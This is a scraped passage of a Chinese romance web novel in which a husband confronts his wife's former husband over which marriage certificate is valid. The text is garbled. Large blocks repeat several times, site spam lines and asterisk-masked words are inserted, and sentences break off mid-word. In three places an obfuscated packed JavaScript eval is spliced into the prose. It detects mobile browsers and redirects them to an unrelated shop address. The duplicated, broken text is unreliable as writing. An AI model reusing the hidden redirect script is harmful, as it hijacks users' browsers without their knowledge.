听说和异性朋友讨论本书情节的,很容易发展成恋人哦 大哭,又强迫自己站起来,去应付那些想吞掉公司的豺狼。 她酒量那么差,为了一个合同,能把自己喝到吐血送急救……这些,都是为了我!” 他每说一句,陆京洲拥着岑予衿的手臂就僵硬一分。 那些被刻意封存的细节,此刻被周时越用最血淋淋的方式撕开。 陆京洲的下颌线绷得几乎要碎裂,他能感觉到怀里的人在微微发抖,不知是愤怒,还是被勾起不堪回首的记忆。 “够了!周时越!那些都过去了!是我傻,是我蠢!行了吗?”岑予衿声音嘶哑,带着泪意,“阿洲他给我的,是你永远给不了的安全感和尊重!” 周时越慢慢起身,靠在墙壁上,不相信她说的每句话,“你骗人,你就是还爱我!” “她早就知道我恢复记忆了,可是他没有告诉你真相,你知道为什么吗?是因为她还不够爱你,不跟你坦白这些事情,是要瞒你一辈子。” 他满意地看着陆京洲的瞳孔几不可察地收缩了一下。 “为什么不说呢?”周时越拖长了语调,像毒蛇吐信,“是怕你知道了,会不要她?还是觉得……根本没必要告诉你?毕竟,你只是一个为了报复我让我疯狂吃醋的工具人。” “你胡说!”岑予衿猛地抓紧了陆京洲胸前的衣料,指尖发白,“我当时只是不确定!我不想让过去的事情影响我们现在的生活!” “是不确定,还是不想确定?”周时越步步紧逼,眼神锐利如刀,割向陆京洲强自镇定的面具。 “陆京洲,你仔细想想,她跟你在一起这一年,真的毫无保留吗?关于‘岑予衿’的一切,她主动跟你提过多少?关于我,她又是怎么形容的?一个‘无关紧要的过去’?呵……” 他喘息着,靠着墙慢慢站起来,尽管身形摇晃,却带着一种破罐破摔的挑衅。 “她瞒着你,是因为她心里还有鬼!还有那段抹不掉的过去!还有我这个她曾经爱到骨子里的人!你在她心里,永远排在我后面!你得到的,永远只是一个戴着‘周芙笙’面具的、残缺的岑予衿!” “你住口!”岑予衿几乎要从床上扑下来,被陆京洲用力按住。 她泪如雨下,不是因为周时越的指控,而是因为陆京洲此刻的沉默,和他眼中那抹再也无法掩饰的痛色。 陆京洲确实被击中了。 周时越的话,像一把淬了冰的**,精准地挑开了他内心深处最不敢触碰的地方。 他知道岑予衿和周时越相爱的全过程。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 现在一切都能解释通了。 他说岑予衿不好作为周芙笙的她为什么会那么生气? 是因为那人就是她。 她知道他们曾经有多么的相爱。 她为了找他花了多少时间精力。 他不敢想她,为什么不告诉他真相? 她还说过,是她主动爬上了他的床,所以他真的只是一个可有可无的工具人吗? 他真的比不过面前这个她深爱了20多年的男人? 那些被他小心翼翼忽略的细节瞬间涌上心头。 她偶尔对着旧物出神,她听到某些地名时的细微僵硬,她梦中含糊的呓语… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066353|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 还有那次**,她回来后异常苍白的脸色和一段时间的心不在焉。 他当时只当她累了。 原来,是因为看到了周时越。 而她,选择了沉默。 一股冰冷的寒意从脚底窜起,瞬间冻结了他的四肢百骸。 抱着她的手,第一次感到了一丝无力,和一种近乎灭顶的恐慌。 他怕,怕周时越说的是真的,怕这一年的短暂拥有,是他一厢情愿。 “阿洲……”岑予衿看着他瞬间失去血色的脸和眼中碎裂的光,心慌得要命,她急切地抓住他的手,想要解释,“不是那样的,你听我说……他完全是在胡说八道。” 陆京洲却轻轻抽出了手。 动作很慢,甚至算得上轻柔,却让岑予衿的心猛地一沉。 他站起身,背对着她,面向周时越。背影依旧挺拔,却透出一股沉重的疲惫。 “说完了吗?”陆京洲开口,声音嘶哑得厉害,像是在砂纸上磨过。 周时越看着他骤然的颓唐,快意几乎要冲破胸腔的疼痛,“怎么?被我说中了?陆京洲,认清现实吧,你永远……” “砰!” 又是一拳。 这一次,陆京洲没有留任何余地,重重砸在周时越的腹部,力道之大,让周时越连惨叫都发不出,整个人虾米般蜷缩下去,呕出一口酸水。 陆京洲揪住他的头发,迫使他抬起头,两人的脸近在咫尺。 “周时越,”陆京洲的眼睛红得可怕,不是疯狂,而是一种濒临绝境的、孤注一掷的狠厉,“你这些话,除了证明你是个只会躺在过去功劳簿上、靠揭人伤疤获得快感的可怜虫,还能证明什么?” “她过得好不好,快不快乐,爱不爱现在的生活,你比我清楚吗?” “她选择隐瞒,是因为她想保护现在的生活,保护我,保护我们的孩子!而不是因为对你余情未了!” 他几乎是吼出来的,声音震得房间嗡嗡作响,既是在驳斥周时越,更像是在说服自己那瞬间动摇的心。 “至于我在她心里排第几……”陆京洲松开手,任由周时越再次滑落,他直起身,缓缓回头,看向床上泪流满面、拼命摇头的岑予衿。 他走到她面前,单膝跪地,握住她冰凉颤抖的手,仰头看着她,眼中是深不见底的痛楚,却也燃着最后一丝不肯熄灭的火焰。 “笙笙,”他声音低柔下来,带着一丝不易察觉的祈求,“我只问你一次,也只信你这一次。” “现在,在这里,在你‘曾经’最爱的人面前,你告诉我。” “你爱我吗?不是感激,不是习惯,是女人对男人的爱,是真正的爱情。你周芙笙,爱我陆京洲吗?” 他的目光紧紧锁着她,不放过她脸上任何一丝细微的表情,像是等待最终审判的囚徒。 整个房间陷入死寂,只剩下三人粗重不一的呼吸声,和窗外隐约传来的,遥远模糊的车流声。 第232章 我爱你,只爱你! 房间里的空气仿佛凝固了。 陆京洲的问题像一块小石头投入她早已翻江倒海的心湖,激起千层浪。 却也穿透了层层迷雾,让她看清了前面的路。 她低头看着跪在面前的陆京洲。 他只是看着不近人情,内心却比谁都柔软。 此刻,他的眼神里有痛,有惧,更有一种近乎绝望的期盼,他想听到一个坚定的答案。 周时越那番恶毒的话,早就将他的坚实的防护盾打破。 他没有安全感。 他一直都怕她会离开。 怕她只是感激,怕她只是习惯,怕她心里永远留着一个他无法替代的位置。 过去种种,她不敢坦诚的犹豫,此刻都成了刺向他的利刃。 岑予衿的心疼得发紧,比刚才面对周时越的疯狂时还要疼上千百倍。 她用力反握住陆京洲的手。 冰冷刺骨,根本就不像正常人的体温,还带着微微的颤栗。 他……在害怕! 岑予衿立刻俯下身,用另一只手捧住他的脸,指尖轻轻拂过他紧蹙的眉峰,抹去他额角不知是汗还是别的什么湿意。 她的动作很轻,却带着一种不容置疑的坚定。 “阿洲。”她开口,声音因为先前的激动和泪水而沙哑,却异常清晰,一字一句,砸在寂静的空气里,也砸在陆京洲和周时越的心上,“你看着我。” 陆京洲的睫毛颤动了一下,目光更深地望进她的眼底。 “我爱你。”她说,没有丝毫犹豫,仿佛这个答案早已融入她的骨血,只等此刻宣之于口。 “不是感激你在我最狼狈时伸出援手,不是习惯你的陪伴和呵护,是女人对男人的爱,是想共度余生的爱,是唯一的爱情。我,岑予衿,爱陆京洲。” 她感觉到他握住她的手猛地收紧,指节都有些发白。 “听清楚了吗?”岑予衿的眼泪滚落下来,但她的嘴角却努力向上弯起,带着泪的笑,比任何话语都更有力量。 “很爱,很爱。爱到我自己都害怕,爱到哪怕想起过去那些事会觉得痛,但因为现在身边是你,连那份痛都变成了让我更珍惜此刻的烙印。” 她深吸一口气,目光坦荡地迎着他,也扫过墙角那个脸色惨白的周时越。 “是,我们有过二十年,有过轰轰烈烈,有过生死相许。可那又怎样?” 她的声音陡然拔高,带着斩钉截铁的决绝,“那场‘死亡’带走的,不止是他的消息,也带走 了那个为爱盲目、奋不顾身的岑予衿!活下来的,是经历了背叛、绝望、在泥潭里挣扎着爬起来的周芙笙,然后,遇见了你,陆京洲。” 她的指尖描绘着他的轮廓,眼神温柔得能滴出水来,“是你,用耐心一点点暖化我冰封的牢笼;是你,给了我毫无理由的偏宠,让我知道被珍视是什么感觉;是你,一次又一次,不问缘由地站在我面前维护我,告诉我我背后有你撑腰……” “我们相处的点点滴滴,清晨你为我热的牛奶,深夜你等我回家的那盏灯,我皱眉时你下意识的抚慰,我任性时你无奈的纵容……这些细水长流的温暖,早就一点点渗进来,等我发现的时候,心里已经全是你了。” 她拉起他的手,贴在自己心口,让他感受那里为他而有的激烈跳动。 “没错,一开始爬上你的床,是走投无路的无奈之举;答应嫁进陆家,也存了利用你庇护,寻找真相的心思。” “我承认,最初的动机并不纯粹。可是阿洲,人心是肉长的,感情是不受理智控制的。” 她的眼泪控制不住大滴大滴的滑落,砸在他的手上,“后来的每一天,每一次心动,每一次为你心疼,为你欢喜,都是真的!我爱上你,没有任何算计,没有任何理由,就是爱你这个人,爱这个给了我新生、给了我一个最爱的陆京洲!” 她的话冲散陆京洲心里的最后一点阴霾。 他眼底碎裂的光一点点重新凝聚,燃起越来越亮的光芒。 失而复得的狂喜,混合着深深的心疼。 “至于为什么不告诉你……”岑予衿的声音低了下去,带着歉意。 “我害怕。不是怕你知道了会不要我,而是怕……怕那些肮脏的过去,会玷污我们现在纯粹的感情。我怕你知道我曾那么愚蠢地爱过别人,为别人疯过、痛过,会觉得我不够好,不配得到你这样的爱。” “我更怕……你会嫌弃我,我怕你爱的是周芙笙,不是岑予衿,我怕你会跟我离婚。是我错了,我不该自作主张,我应该相信你,相信我们的感情足以承受任何真相。” 她看着他,泪眼婆娑,却笑得无比释然和幸福,“现在你知道了。全部的,真实的岑予衿,就站在这里。有不堪的过去,有利用你的开始,但更有此刻和未来,一颗完完整整、只属于你的心。你还愿意要吗,陆京洲?” 陆京洲没有说话。 他只是猛地用力,将她从床上拉入怀中,紧紧地、用尽全身力气地抱住。 他的手臂收得很紧,仿佛要将她揉进自己的 骨血里,下巴抵着她的发顶,呼吸沉重而灼热。 良久,他才沙哑地、带着一丝不易察觉的哽咽,在她耳边低语,每一个字都重若千钧,“要。怎么不要?岑予衿,你听好,我要的是你的全部,过去,现在,未来,好的,坏的,我都要。你爱我,这就够了,其他什么都不重要。” 他松开她一些,捧着她的脸,深深地吻了下去。 这个吻,不同于以往的温柔或霸道,带着劫后余生的颤抖,带着确认归属的狂热,更带着一种宣誓**的绝对。 一吻结束,他额头抵着她的,喘息着,眼底只有她一个人的倒影。 他转过身,看向几乎瘫软在墙角、面如死灰的周时越。 陆京洲的眼神已然恢复了平日的冷静锐利,甚至更添了几分凛然不可侵犯的威严。 “听到了吗,周时越?”他的声音平稳,却蕴含着不容置疑的力量。 “你的过去,已经**,连同那个只属于你的岑予衿一起,葬在了三年前的海里。现在站在这里的,是我的妻子,周芙笙,也是岑予衿,但她的心,她的爱,她的未来,只属于我陆京洲一个人。” “你那些自以为是的深情和回忆,除了感动你自己,恶心别人,毫无用处。” 他搂紧怀里的女人,像是拥抱着全世界最珍贵的宝藏,“从今往后,她是我的陆太太。你若再敢来纠缠,妄图用过去伤害她分毫,我不介意让周家彻底成为历史。” 骨血里,下巴抵着她的发顶,呼吸沉重而灼热。 良久,他才沙哑地、带着一丝不易察觉的哽咽,在她耳边低语,每一个字都重若千钧,“要。怎么不要?岑予衿,你听好,我要的是你的全部,过去,现在,未来,好的,坏的,我都要。你爱我,这就够了,其他什么都不重要。” 他松开她一些,捧着她的脸,深深地吻了下去。 这个吻,不同于以往的温柔或霸道,带着劫后余生的颤抖,带着确认归属的狂热,更带着一种宣誓**的绝对。 一吻结束,他额头抵着她的,喘息着,眼底只有她一个人的倒影。 他转过身,看向几乎瘫软在墙角、面如死灰的周时越。 陆京洲的眼神已然恢复了平日的冷静锐利,甚至更添了几分凛然不可侵犯的威严。 “听到了吗,周时越?”他的声音平稳,却蕴含着不容置疑的力量。 “你的过去,已经**,连同那个只属于你的岑予衿一起,葬在了三年前的海里。现在站在这里的,是我的妻子,周芙笙,也是岑予衿,但她的心,她的爱,她的未来,只属于我陆京洲一个人。” “你那些自以为是的深情和回忆,除了感动你自己,恶心别人,毫无用处。” 他搂紧怀里的女人,像是拥抱着全世界最珍贵的宝藏,“从今往后,她是我的陆太太。你若再敢来纠缠,妄图用过去伤害她分毫,我不介意让周家彻底成为历史。” 骨血里,下巴抵着她的发顶,呼吸沉重而灼热。 良久,他才沙哑地、带着一丝不易察觉的哽咽,在她耳边低语,每一个字都重若千钧,“要。怎么不要?岑予衿,你听好,我要的是你的全部,过去,现在,未来,好的,坏的,我都要。你爱我,这就够了,其他什么都不重要。” 他松开她一些,捧着她的脸,深深地吻了下去。 这个吻,不同于以往的温柔或霸道,带着劫后余生的颤抖,带着确认归属的狂热,更带着一种宣誓**的绝对。 一吻结束,他额头抵着她的,喘息着,眼底只有她一个人的倒影。 他转过身,看向几乎瘫软在墙角、面如死灰的周时越。 陆京洲的眼神已然恢复了平日的冷静锐利,甚至更添了几分凛然不可侵犯的威严。 “听到了吗,周时越?”他的声音平稳,却蕴含着不容置疑的力量。 “你的过去,已经**,连同那个只属于你的岑予衿一起,葬在了三年前的海里。现在站在这里的,是我的妻子,周芙笙,也是岑予衿,但她的心,她的爱,她的未来,只属于我陆京洲一个人。” “你那些自以为是的深情和回忆,除了感动你自己,恶心别人,毫无用处。” 他搂紧怀里的女人,像是拥抱着全世界最珍贵的宝藏,“从今往后,她是我的陆太太。你若再敢来纠缠,妄图用过去伤害她分毫,我不介意让周家彻底成为历史。” 骨血里,下巴抵着她的发顶,呼吸沉重而灼热。 良久,他才沙哑地、带着一丝不易察觉的哽咽,在她耳边低语,每一个字都重若千钧,“要。怎么不要?岑予衿,你听好,我要的是你的全部,过去,现在,未来,好的,坏的,我都要。你爱我,这就够了,其他什么都不重要。” 他松开她一些,捧着她的脸,深深地吻了下去。 这个吻,不同于以往的温柔或霸道,带着劫后余生的颤抖,带着确认归属的狂热,更带着一种宣誓**的绝对。 一吻结束,他额头抵着她的,喘息着,眼底只有她一个人的倒影。 他转过身,看向几乎瘫软在墙角、面如死灰的周时越。 陆京洲的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066354|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神已然恢复了平日的冷静锐利,甚至更添了几分凛然不可侵犯的威严。 “听到了吗,周时越?”他的声音平稳,却蕴含着不容置疑的力量。 “你的过去,已经**,连同那个只属于你的岑予衿一起,葬在了三年前的海里。现在站在这里的,是我的妻子,周芙笙,也是岑予衿,但她的心,她的爱,她的未来,只属于我陆京洲一个人。” “你那些自以为是的深情和回忆,除了感动你自己,恶心别人,毫无用处。” 他搂紧怀里的女人,像是拥抱着全世界最珍贵的宝藏,“从今往后,她是我的陆太太。你若再敢来纠缠,妄图用过去伤害她分毫,我不介意让周家彻底成为历史。” 骨血里,下巴抵着她的发顶,呼吸沉重而灼热。 良久,他才沙哑地、带着一丝不易察觉的哽咽,在她耳边低语,每一个字都重若千钧,“要。怎么不要?岑予衿,你听好,我要的是你的全部,过去,现在,未来,好的,坏的,我都要。你爱我,这就够了,其他什么都不重要。” 他松开她一些,捧着她的脸,深深地吻了下去。 这个吻,不同于以往的温柔或霸道,带着劫后余生的颤抖,带着确认归属的狂热,更带着一种宣誓**的绝对。 一吻结束,他额头抵着她的,喘息着,眼底只有她一个人的倒影。 他转过身,看向几乎瘫软在墙角、面如死灰的周时越。 陆京洲的眼神已然恢复了平日的冷静锐利,甚至更添了几分凛然不可侵犯的威严。 “听到了吗,周时越?”他的声音平稳,却蕴含着不容置疑的力量。 “你的过去,已经**,连同那个只属于你的岑予衿一起,葬在了三年前的海里。现在站在这里的,是我的妻子,周芙笙,也是岑予衿,但她的心,她的爱,她的未来,只属于我陆京洲一个人。” “你那些自以为是的深情和回忆,除了感动你自己,恶心别人,毫无用处。” 他搂紧怀里的女人,像是拥抱着全世界最珍贵的宝藏,“从今往后,她是我的陆太太。你若再敢来纠缠,妄图用过去伤害她分毫,我不介意让周家彻底成为历史。” 骨血里,下巴抵着她的发顶,呼吸沉重而灼热。 良久,他才沙哑地、带着一丝不易察觉的哽咽,在她耳边低语,每一个字都重若千钧,“要。怎么不要?岑予衿,你听好,我要的是你的全部,过去,现在,未来,好的,坏的,我都要。你爱我,这就够了,其他什么都不重要。” 他松开她一些,捧着她的脸,深深地吻了下去。 这个吻,不同于以往的温柔或霸道,带着劫后余生的颤抖,带着确认归属的狂热,更带着一种宣誓**的绝对。 一吻结束,他额头抵着她的,喘息着,眼底只有她一个人的倒影。 他转过身,看向几乎瘫软在墙角、面如死灰的周时越。 陆京洲的眼神已然恢复了平日的冷静锐利,甚至更添了几分凛然不可侵犯的威严。 “听到了吗,周时越?”他的声音平稳,却蕴含着不容置疑的力量。 “你的过去,已经**,连同那个只属于你的岑予衿一起,葬在了三年前的海里。现在站在这里的,是我的妻子,周芙笙,也是岑予衿,但她的心,她的爱,她的未来,只属于我陆京洲一个人。” “你那些自以为是的深情和回忆,除了感动你自己,恶心别人,毫无用处。” 他搂紧怀里的女人,像是拥抱着全世界最珍贵的宝藏,“从今往后,她是我的陆太太。你若再敢来纠缠,妄图用过去伤害她分毫,我不介意让周家彻底成为历史。” 骨血里,下巴抵着她的发顶,呼吸沉重而灼热。 良久,他才沙哑地、带着一丝不易察觉的哽咽,在她耳边低语,每一个字都重若千钧,“要。怎么不要?岑予衿,你听好,我要的是你的全部,过去,现在,未来,好的,坏的,我都要。你爱我,这就够了,其他什么都不重要。” 他松开她一些,捧着她的脸,深深地吻了下去。 这个吻,不同于以往的温柔或霸道,带着劫后余生的颤抖,带着确认归属的狂热,更带着一种宣誓**的绝对。 一吻结束,他额头抵着她的,喘息着,眼底只有她一个人的倒影。 他转过身,看向几乎瘫软在墙角、面如死灰的周时越。 陆京洲的眼神已然恢复了平日的冷静锐利,甚至更添了几分凛然不可侵犯的威严。 “听到了吗,周时越?”他的声音平稳,却蕴含着不容置疑的力量。 “你的过去,已经**,连同那个只属于你的岑予衿一起,葬在了三年前的海里。现在站在这里的,是我的妻子,周芙笙,也是岑予衿,但她的心,她的爱,她的未来,只属于我陆京洲一个人。” “你那些自以为是的深情和回忆,除了感动你自己,恶心别人,毫无用处。” 他搂紧怀里的女人,像是拥抱着全世界最珍贵的宝藏,“从今往后,她是我的陆太太。你若再敢来纠缠,妄图用过去伤害她分毫,我不介意让周家彻底成为历史。” 第233章 你才是那个插足的第三者 陆京洲的话音刚落,周时越却猛地抬起了头。 他脸上已经没有一丝血色,嘴角还挂着血沫,但那双布满红血丝的眼睛里,满是受伤。 他盯着陆京洲,又转向他怀里的岑予衿,喉咙里发出嗬嗬的怪笑,声音嘶哑破碎,却带着一种垂死挣扎的得意,“陆京洲……你得意什么?你说她是你的妻子周芙笙? 他艰难地从口袋里摸出一个皱巴巴、边缘破损却显然被小心保护着的红色小本,用尽力气举起来,手指颤抖地指着上面的字迹和照片,对着岑予衿,也对着陆京洲,嘶吼道,“可她就不是周芙笙! “看清楚了!她是岑予衿!是我周时越明媒正娶、法律承认的妻子!这才是真的结婚证!上面清清楚楚写着‘周时越’和‘岑予衿’! “周芙笙?他眼神怨毒至极,“那是假的!是捏造出来的假身份!你们陆家那本结婚证,上面的‘周芙笙’,从头到尾就是个不存在的幻影!是假的!身份是假的,名字是假的,你们的婚姻……在法律上,就是个天大的笑话!她岑予衿,法律上还是我周时越的老婆! 那本陈旧的结婚证,像一盆淬了冰的脏水,朝着刚刚升温的气氛兜头泼下。 照片上,年轻的岑予衿笑得明媚灿烂,依偎在同样年轻、意气风发的周时越身边。 那是她曾经毫无保留的爱与青春的证据,此刻却成了最恶毒的武器。 陆京洲搂着岑予衿的手臂,瞬间僵硬如铁。 他当然知道“周芙笙这个身份的由来,知道她曾经历经磨难改头换面。 他从未在意过这些,因为他要的从来就是她这个人。 可“法律上还是周时越的妻子 这种被法律条文、被一纸陈旧证书否定的感觉,比任何感情上的质疑都更尖锐,更羞辱,更像是在嘲讽他这一年的付出和深情。 “你、说、什、么?陆京洲的声音压得极低,仿佛从牙缝里挤出来的寒风,每一个字都带着森然的杀意。 他轻轻将岑予衿往身后一带,挡得严严实实,一步一步,走向瘫在墙角的周时越。 他的步伐并不快,却带着山雨欲来的沉重压迫感,每一步都像踩在周时越濒临崩溃的神经上。 刚才的冷静和威严消失殆尽,取而代之的是一种近乎实质化的黑暗暴戾,从他周身弥漫开来,让整个病房的温度骤降。 岑予衿被他护在身后,能清晰看到他瞬间绷紧到极致的背部线条,以及那攥紧的、骨节发出轻微 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 爆响的拳头。 她心猛地一沉,想要拉住他,“阿洲!别听他胡说!那都是过去式了!我们……有结婚证。 陆京洲没有回头,也没有停下脚步。他的全部注意力,都锁**那个举着红色小本、笑得狰狞又绝望的男人。 周时越被他眼中翻涌的毁灭性风暴吓得本能一缩,但随即又挺起胸膛,举着结婚证像举着护身符,嘶声喊道。 “怎么?不信?你大可以去查!去民政局查!岑予衿和周时越,从来没离过婚!她**,销户了,可我还没去办手续呢!她现在‘活’了,从法律上讲,她就还是我老婆!而你,陆京洲,你才是那个插足的第三者!你…… 他的话没能说完。 陆京洲已经欺身而上,速度快得只剩一道残影。 他一把夺过那本刺眼的结婚证,看都没看,双手猛地一扯! “刺啦~ 清脆的撕裂声响起,那本承载着过去、被周时越视为最后倚仗的红色小本,在他手中瞬间化为两半,再被狠狠揉碎,扔在地上,践踏在脚下。 紧接着,陆京洲的铁钳般的大手,狠狠扼住了周时越的脖颈! “呃……周时越双目暴凸,喉咙里发出窒息的嗬嗬声,双手拼命去掰陆京洲的手,却如同蚍蜉撼树。 陆京洲将他整个人提了起来,抵在冰冷的墙壁上。 手臂上的肌肉因为极度用力而贲张隆起,手背上青筋暴跳。 他的脸逼近周时越因缺氧而迅速涨红发紫的脸,眼底是彻底被点燃的烈火。 “结婚证?好了,现在没了。陆京洲挑眉,声音冰冷刺骨,一字一句,“周时越,你太天真了。你以为,这种东西能束缚住谁?能证明什么? 他手上的力道缓缓收紧,欣赏着周时越眼中渐渐涣散的恐惧和痛苦。 “让她离婚,我有几千几百种方法。陆京洲的语调甚至带上了一丝残忍的优雅,仿佛在陈述一个再简单不过的事实。 “让她丧偶,让你这个人彻底消失,我同样有几千几百种方法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他抬起她的脸,用拇指拭去她的泪水,眼神复杂,有未褪的暴怒,有心痛,更有不容动摇的决断,“那张废纸,什么也代表不了。你是我陆京洲认定的妻子,这辈子都是。离婚的事情,我会立刻让律师处理,用最快的速度,最干净的方式,让你和他,再也没有任何法律上的瓜葛。” 他顿了顿,目光如刀,再次扫向地上蜷缩的周时越,声音里淬着冰,“至于他……如果识相,就该立刻滚出我们的视线,永远消失。如果还敢出现在你面前……” 他没有说完,但那未尽的威胁,比任何直白的恐吓都更令人胆寒。 “阿洲,你真的有看过我们的结婚证吗?” 第234章 结婚证 陆京洲的话被岑予衿轻声打断。 她的声音还带着一丝颤抖,但眼神已经恢复了清明和一种奇异的平静,甚至……藏着一丝难以言喻的狡黠。 陆京洲身体明显一僵,搂着她的手臂微微收紧。 低头看向她,深不见底的眸子里是未散的戾气和一丝不易察觉的紧张,“这话什么意思?” 他的声音依旧低沉沙哑,带着紧绷的余韵。 岑予衿没有立刻回答,只是轻轻挣开他的怀抱,走到病床边的柜子旁,拉开抽屉。 从自己的随身包包里,小心翼翼地取出一个同样是红色的小本。 和周时越那本稍显陈旧的结婚证不同。 这本结婚证崭新、干净,红色的封皮在灯光下泛着柔和的光泽。 她拿着它,转身走回陆京洲面前,深吸一口气,将这本结婚证,轻轻放进了他摊开的、依旧带着一丝未消怒意和冰凉的手掌中。 陆京洲的指尖触碰到的瞬间,似乎颤抖了一下。 他的目光死死锁在那本红色的小本上,仿佛那是世间最难解的谜题。 他极其缓慢地,用另一只手,翻开了封面。 内页上,并排贴着的照片映入眼帘。 照片上的男人,西装笔挺,面容冷峻,眼神却专注地看着身旁的女人,正是他陆京洲。 而他身旁的女人,穿着洁白的衬衫,长发披肩,眉眼温柔,嘴角带着浅浅的、幸福的笑意,那是岑予衿。 清丽动人,眼神清澈的岑予衿。 持证人:岑予衿 往下看是岑予衿的名字,再往下看是他陆京洲的名字。 岑予衿。 不是周芙笙。 是岑予衿。 陆京洲的瞳孔骤然收缩,呼吸在那一瞬间停滞了。 他拿着结婚证的手指猛地收紧,指关节再次泛白,但这一次,不是因为暴怒,而是因为一种极致的震惊、错愕…… 他猛地抬头,看向岑予衿,眼神里充满了难以置信的询问,嘴唇翕动,却一时失语。 岑予衿迎着他震惊的目光,缓缓开口,声音轻柔却坚定,“当初,我确实用了‘周芙笙’这个名字和身份信息跟你去登记。但是……” 她顿了顿,眼眶微红,却带着释然的笑,“后来被奶奶发现了,也就是她把我藏起来的那次。她帮我换回了原来的身份,顺便换了结婚证。” 岑予衿看着他震惊的样子,又心疼又无奈,“我以为你会看结婚证,没想到你从来没看过。奶 奶说我们俩之间的事情她不掺和,我什么时候想告诉你了就告诉你。” “也就是说,”她看着他越来越亮的眼睛,一字一句地说,“法律上,和你陆京洲登记结婚的,从始至终,就是‘岑予衿’。我们的结婚证,是真的。我们的婚姻,受法律保护的妻子,是岑予衿,不是周芙笙。” “而周时越手里那本……早在一年前,被销户时,自动解除了。他所谓的‘还没办手续’,只是他的一厢情愿和不肯面对现实。” 病房里陷入了一片死寂。 倒在地上的周时越死死盯着陆京洲手里那本崭新的结婚证,眼里是化不开的执念。 陆京洲低头,再次看向手里的结婚证,指尖轻轻摩挲过“岑予衿”那三个字,又看向照片上她依偎着自己的模样。 一年来,他从未仔细看过这本证,他娶的是她这个人,叫什么名字,什么身份,他不在乎。 好在真真正正的岑予衿,成为了他陆京洲名正言顺的妻子。 他抬起头,看向岑予衿,眼中的冰冷和暴怒早已消失殆尽,只剩下浓得化不开的深情和激赏。 他猛地将她重新拥入怀中,这一次的拥抱,比之前任何一次都要用力,都要紧密,仿佛要将她融入自己的生命。 “你……”他的声音哽住了,喉结剧烈滚动了几下,才在她耳边发出低哑而颤抖的叹息,“你这个傻瓜……这么重要的事,为什么不早点告诉我?” 岑予衿靠在他坚实温暖的胸膛上,听着他如擂鼓般的心跳,终于彻底安心地闭上了眼睛,嘴角却高高扬起,“我想等一个合适的时机……” 陆京洲低低地笑了,笑声里充满了释然和无比的满足。 他松开她一些,再次捧起她的脸,深深地吻了下去。 这个吻,不再带有任何不确定,只有失而复得般的珍爱和喜悦。 良久,唇分。 陆京洲转头,看向地上已经面如死灰、眼神空洞的周时越,语气平静无波,却带着最终宣判的冷酷,“听到了?也看到了?周时越,现在,连你最后那点可笑的法律借口,也不存在了。” “从今往后,岑予衿,是我陆京洲法律上、情感上、唯一的妻子。与你,再无半分瓜葛。” 他搂紧怀里的珍宝,再也不看那个失败者一眼。 缓缓拿出手机,拨通了个电话,声音冰冷,“送周先生回产房,他老婆还在生孩子呢,他该回去陪着,不该出现在我老婆这儿。” 我老婆几个字,他刻意加重了力道。 像是在故意炫耀着什么。 没错,他就是故意的。 说实话,他听到他们之间的对话第一反应不是被欺骗的愤怒,是害怕。 他害怕在她心里比不上早就已经恢复记忆的周时越。 他害怕她不要他,也不要宝宝。 会毫不犹豫的选择那个她曾经挚爱的男人。 知道她的**之后,他真的一点把握都没有,一点都没有。 因为……他从来都是不被选择的。 他的人生字典里没有好运二字,也从没想过幸运之神会眷顾他。 所以他不敢赌,也不想赌。 奶说我们俩之间的事情她不掺和,我什么时候想告诉你了就告诉你。” “也就是说,”她看着他越来越亮的眼睛,一字一句地说,“法律上,和你陆京洲登记结婚的,从始至终,就是‘岑予衿’。我们的结婚证,是真的。我们的婚姻,受法律保护的妻子,是岑予衿,不是周芙笙。” “而周时越手里那本……早在一年前,被销户时,自动解除了。他所谓的‘还没办手续’,只是他的一厢情愿和不肯面对现实。” 病房里陷入了一片死寂。 倒在地上的周时越死死盯着陆京洲手里那本崭新的结婚证,眼里是化不开的执念。 陆京洲低头,再次看向手里的结婚证,指尖轻轻摩挲过“岑予衿”那三个字,又看向照片上她依偎着自己的模样。 一年来,他从未仔细看过这本证,他娶的是她这个人,叫什么名字,什么身份,他不在乎。 好在真真正正的岑予衿,成为了他陆京洲名正言顺的妻子。 他抬起头,看向岑予衿,眼中的冰冷和暴怒早已消失殆尽,只剩下浓得化不开的深情和激赏。 他猛地将她重新拥入怀中,这一次的拥抱,比之前任何一次都要用力,都要紧密,仿佛要将她融入自己的生命。 “你……”他的声音哽住了,喉结剧烈滚动了几下,才在她耳边发出低哑而颤抖的叹息,“你这个傻瓜……这么重要的事,为什么不早点告诉我?” 岑予衿靠在他坚实温暖的胸膛上,听着他如擂鼓般的心跳,终于彻底安心地闭上了眼睛,嘴角却高高扬起,“我想等一个合适的时机……” 陆京洲低低地笑了,笑声里充满了释然和无比的满足。 他松开她一些,再次捧起她的脸,深深地吻了下去。 这个吻,不再带有任何不确定,只有失而复得般的珍爱和喜悦。 良久,唇分。 